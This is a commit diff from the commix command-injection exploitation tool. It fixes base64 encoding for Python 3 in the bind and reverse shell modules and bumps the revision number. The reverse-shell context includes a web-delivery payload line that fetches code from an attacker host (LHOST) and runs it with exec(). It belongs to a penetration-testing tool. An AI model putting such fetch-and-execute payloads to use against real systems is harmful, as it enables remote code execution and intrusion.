Fixes commixproject#640

Author: stasinopoulos

src/core/shells/bind_tcp.py

@@ -408,7 +408,7 @@ def other_bind_shells(separator):
         with open (output, "r") as content_file:
           data = content_file.readlines()
           data = ''.join(data)
-          data = base64.b64encode(data)
+          data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
 
         print(settings.SINGLE_WHITESPACE)
         # Remove the ouput file.

src/core/shells/reverse_tcp.py

@@ -446,7 +446,7 @@ def other_reverse_shells(separator):
         with open (output, "r") as content_file:
           data = content_file.readlines()
           data = ''.join(data)
-          data = base64.b64encode(data)
+          data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
 
         print(settings.SINGLE_WHITESPACE)
         # Remove the ouput file.
@@ -633,7 +633,7 @@ def other_reverse_shells(separator):
 
           if web_delivery == '1':
             data = "; r=_urllib.request.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'); exec(r.read());"
-            data = base64.b64encode(data)
+            data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
             if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: 
               set_python_working_dir()
               other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"

src/utils/settings.py

@@ -216,7 +216,7 @@ def sys_argv_errors():
 DESCRIPTION = "The command injection exploiter"
 AUTHOR  = "Anastasios Stasinopoulos"
 VERSION_NUM = "3.3"
-REVISION = "42"
+REVISION = "43"
 STABLE_RELEASE = False
 if STABLE_RELEASE:
   VERSION = "v" + VERSION_NUM + "-stable"